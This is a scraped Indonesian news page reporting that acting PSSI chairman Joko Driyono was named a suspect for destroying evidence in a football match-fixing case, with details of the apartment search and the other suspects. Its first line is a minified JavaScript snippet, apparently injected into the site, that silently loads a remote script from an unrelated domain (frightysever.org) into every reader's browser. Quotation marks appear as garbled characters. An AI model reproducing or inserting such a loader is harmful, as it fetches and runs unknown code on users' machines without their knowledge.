(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Satgas Anti Mafia Bola menetapkan Plt Ketua Umum PSSI Joko Driyono sebagai tersangka kasus perusakan barang bukti pengaturan skor menyusul adanya penggeledaan di Kantor PT Liga Indonesia. Jokdri sapaan akrabnya pun dicekal dilarang ke luar negeri.
Jokdri ditetapkan sebagai tersangka pada Jumat (15/2/2019). Itu sehari berselang setelah kediaman dan kantor Jokdri digeledah oleh Satgas Antimafia Bola.
Penetapan Jokdri sebagai tersangka membuat anggota Komite Eksekutif (Exco) menentukan langkah berikutnya. Dalam waktu dekat, Exco akan menggelar rapat darurat terkait hal ini.
“Saya akan usulkan segera. Mungkin Minggu atau Senin bisa dilaksanakan,†kata anggota Exco PSSI Yoyok Sukawi saat dihubungi, Sabtu (16/2/2019).
Yoyok mengaku, Exco belum bisa berbuat apapun terkait penetapan tersangka orang nomor satu di PSSI tersebut. Lebih dulu, pihaknya akan mempelajari statuta yang ada di PSSI.
Jika merujuk statuta PSSI Pasal 40 ayat 6, jika ketua umum tidak ada atau berhalangan maka akan jatuh kepada wakil. Jika hal tersebut dilakukan, maka Iwan Budianto yang akan menggantikan Jokdri.
“Untuk status Plt setelah ditetapkan sebagai tersangka saya belum bisa jawab. Lebih baik tunggu rilis Exco,†ia menambahkan.
Sebelumnya, Satuan Tugas (Satgas) Antimafia Bola melakukan pengeledahan di apartemen milik Plt Ketua Umum Persatuan Sepak Bola Seluruh Indonesia (PSSI), Joko Driyono pada Kamis (14/2/2019) malam. Di apartemen Taman Rasuna Tower 9, Kuningan, Jakarta Selatan, Satgas menyita sejumlah dokumen.
Penggeledahan itu dilakukan terkait laporan mantan manager Persibara Banjarnegara, Lasmi Indaryani. Pengeledahan tersebut dimulai pukul 20.30 WIB, hingga pukul 22.00 WIB. Penggeledahan itu sendiri disaksikan Jokdri– sapaan akrab Joko Driyono.
“Barang yang disita oleh penyidik ada laptop, ponsel, bukti transfer, ATM, dan buku tabungan. Ada sekitar 75 item,†ujar Argo.
Selain Jokdri, tercatat polisi telah menetapkan 11 tersangka dalam kasus pengaturan skor. Tujuh diantaranya sudah ditangkap dan empat lainnya masih buron.
Mereka yang ditetapkan sebagai tersangka antara lain mantan anggota wasit Priyatno, wasit futsal Anik Yuni Artika Sari, anggota Komite Eksekutif (Exco) PSSI Johar Lin Eng, dan Anggota Komisi Disiplin Dwi Irianto alias Mbah Putih.
Selain itu wasit laga Persibara Banjarnegara vs Pasuruan Nurul Safarid, Staf Direktur Perwasitan PSSI Mansyur Lestaluhu dan pemilik Klub PSMP Mojokerto Vigit Waluyo juga ditetapkan sebagai tersangka.
Sementara, empat tersangka yang masuk Daftar Pencarian Orang (DPO) oleh Satgas Anti Mafia Bola berinisial P, CH, NR, dan DS. (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.